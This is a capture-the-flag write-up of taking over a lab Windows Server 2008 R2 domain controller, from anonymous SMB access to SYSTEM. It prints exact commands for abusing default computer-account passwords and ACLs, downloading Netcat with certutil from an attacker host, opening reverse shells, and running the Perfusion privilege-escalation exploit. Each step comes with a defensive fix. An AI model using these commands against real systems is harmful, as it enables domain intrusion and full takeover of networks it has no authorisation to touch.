RetroTwo
Summary
I enumerated a Windows Server 2008 R2 Active Directory domain controller (retro2.vl, $TARGET) that permitted anonymous SMB connections. Anonymous access to a public file share yielded an encrypted Microsoft Access database whose plaintext contents exposed a domain service-account password. Separately, pre-staged computer accounts (FS01$, FS02$) had never had their factory-default passwords changed, allowing me to rotate those passwords via the Kerberos kpasswd protocol and obtain valid domain credentials for free.
BloodHound showed that the now-controlled computer account held write and forced-password-reset rights over a second computer account (ADMWS01$). That account's password was force-reset over SMB, unlocking an RDP session to the domain controller. From that desktop session a native Windows binary (certutil) staged a Netcat reverse shell, yielding the user flag.
Because the domain controller ran an end-of-life, unpatched build of Windows Server 2008 R2, the publicly available Perfusion exploit targeted a race condition in the legacy RPC Endpoint Mapper service, escalating the session to SYSTEM and yielding full domain-controller control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Full service-version scan of standard AD ports; reveals domain name, OS version, and enabled protocols.
$ nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3389,5722,9389 $TARGET -oN retrotwo-nmap.txtAdd the discovered domain and hostname to local DNS resolution.
$ echo "$TARGET retro2.vl BLN01.retro2.vl" | sudo tee -a /etc/hostsExact commands 2
Enumerate accessible SMB shares and begin RID cycling using a guest (no-password) session.
$ nxc smb $TARGET -u 'guest' -p '' --shares --rid-brute 6000Extend the RID range and filter output to user and computer account entries only.
$ nxc smb $TARGET -u guest -p '' --rid-brute 10000 | grep SidTypeUserFixDisable anonymous and guest SMB access and restrict share-level enumerationHigh
Exact commands 2
Recursively download all files from the Public share using the anonymous guest session.
$ smbclient //$TARGET/Public -U 'guest%' -c 'prompt OFF; recurse ON; mget *'Compile and run a minimal Jackcess reader to dump every table row in staff.accdb, including StaffMembers with the plaintext credential. The jackcess-encrypt jar handles the ACE cipher transparently.
$ javac -cp jackcess-4.0.5.jar:jackcess-encrypt-4.0.2.jar DumpJackcess.java && java -cp .:jackcess-4.0.5.jar:jackcess-encrypt-4.0.2.jar DumpJackcess staff.accdbFixRemove plaintext credentials from SMB-accessible files and restrict the Public shareCritical
Exact commands 3
Authenticate with the deterministic pre2k default password and rotate FS01$'s credential to my own value via Kerberos kpasswd (port 464).
$ impacket-changepasswd retro2.vl/FS01$@$TARGET -newpass "$PASSWORD" -oldpass "$PASSWORD4" -protocol kpasswdSame rotation for FS02$.
$ impacket-changepasswd retro2.vl/FS02$@$TARGET -newpass "$PASSWORD" -oldpass "$PASSWORD5" -protocol kpasswdConfirm the new credential authenticates over SMB.
$ nxc smb $TARGET -u 'FS01$' -p "$PASSWORD" -d retro2.vlFixIdentify and immediately reset all pre-created computer accounts that retain default pre2k passwordsCritical
Exact commands 1
Collect all AD objects and relationships as FS01$ and package a zip file for import into the BloodHound GUI.
$ bloodhound-python -u 'FS01$' -p "$PASSWORD" -d retro2.vl -ns $TARGET -c All --zipExact commands 2
Force-set ADMWS01$'s password from FS01$'s authenticated session using SAMR over SMB. No knowledge of ADMWS01$'s current password is required; the ForceChangePassword ACE is sufficient.
$ impacket-changepasswd -reset -altuser 'retro2.vl/FS01$' -altpass "$PASSWORD" -user 'ADMWS01$' -newpass "$PASSWORD2" -protocol smb-samr $TARGETConfirm the reset credential authenticates.
$ nxc smb $TARGET -u 'ADMWS01$' -p "$PASSWORD2" -d retro2.vlFixRemove GenericWrite and ForceChangePassword access-control entries from computer objects granted to non-admin accountsHigh
Exact commands 5
Open a headless RDP session using a virtual X framebuffer. Adjust the display number (:83) if already in use.
$ Xvfb :83 -screen 0 1280x800x24 & DISPLAY=:83 xfreerdp /v:$TARGET /u:'ADMWS01$' /p:"$PASSWORD2" /d:retro2.vl /cert:ignore /sec:rdp /size:1280x800 /shell:cmd.exeStart the local listener before triggering the reverse shell from the RDP console.
$ rlwrap nc -lvnp 4444Run inside the RDP console: download Netcat using the built-in, Microsoft-signed certutil binary. Replace $ATTACKER_IP with your IP.
$ certutil -urlcache -split -f http://$ATTACKER_IP:9000/win/nc.exe C:\Windows\Temp\n.exeSpawn the reverse shell to the waiting listener. Replace $ATTACKER_IP.
$ C:\Windows\Temp\n.exe -e cmd.exe $ATTACKER_IP 4444Read the user flag from the resulting shell; value is <user.txt>.
$ type C:\user.txtExact commands 7
Clone the Perfusion exploit repository on my Linux host.
$ git clone --depth 1 https://github.com/itm4n/Perfusion.gitCross-compile the exploit EXE and companion DLL for 64-bit Windows using MinGW-w64. Adjust source file paths to match the cloned repo layout.
$ x86_64-w64-mingw32-g++ -O2 -o Perfusion.exe Perfusion/Perfusion.cpp -lws2_32 && x86_64-w64-mingw32-g++ -shared -O2 -o PerfusionDll.dll Perfusion/PerfusionDll.cppServe the compiled binaries from my machine.
$ python3 -m http.server 9000Open the second listener for the SYSTEM-context callback.
$ rlwrap -cAr nc -lvnp 4446Stage both binaries to the target from the existing user shell. Replace $ATTACKER_IP.
$ certutil -urlcache -split -f http://$ATTACKER_IP:9000/Perfusion.exe C:\Windows\Temp\Perfusion.exe && certutil -urlcache -split -f http://$ATTACKER_IP:9000/PerfusionDll.dll C:\Windows\Temp\PerfusionDll.dllTrigger the RPC Endpoint Mapper race; the DLL hijacks the SYSTEM-context callback and executes the Netcat command, connecting the SYSTEM shell to the second listener.
$ C:\Windows\Temp\Perfusion.exe -c "C:\Windows\Temp\n.exe -e cmd.exe $ATTACKER_IP 4446"Read the root flag from the SYSTEM shell; value is <root.txt>.
$ type C:\Windows\System32\config\root.txtFixDecommission or upgrade Windows Server 2008 R2 systems immediately — the OS is unpatched and cannot be secured in placeCritical
Exposed services
| 53/tcp | domain Microsoft DNS 6.1.7601 (1DB15F75) (Windows Server 2008 R2 SP1) |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-08 04:40:16Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: retro2.vl, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: retro2.vl, Site: Default-First-Site-Name) |
| 3389/tcp | ms-wbt-server Microsoft Terminal Service |
| 5722/tcp | msrpc Microsoft Windows RPC |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49154/tcp | unknown recon-sweep-discovered |
| 49155/tcp | unknown recon-sweep-discovered |
| 49157/tcp | unknown recon-sweep-discovered |
| 49158/tcp | unknown recon-sweep-discovered |
| 49164/tcp | unknown recon-sweep-discovered |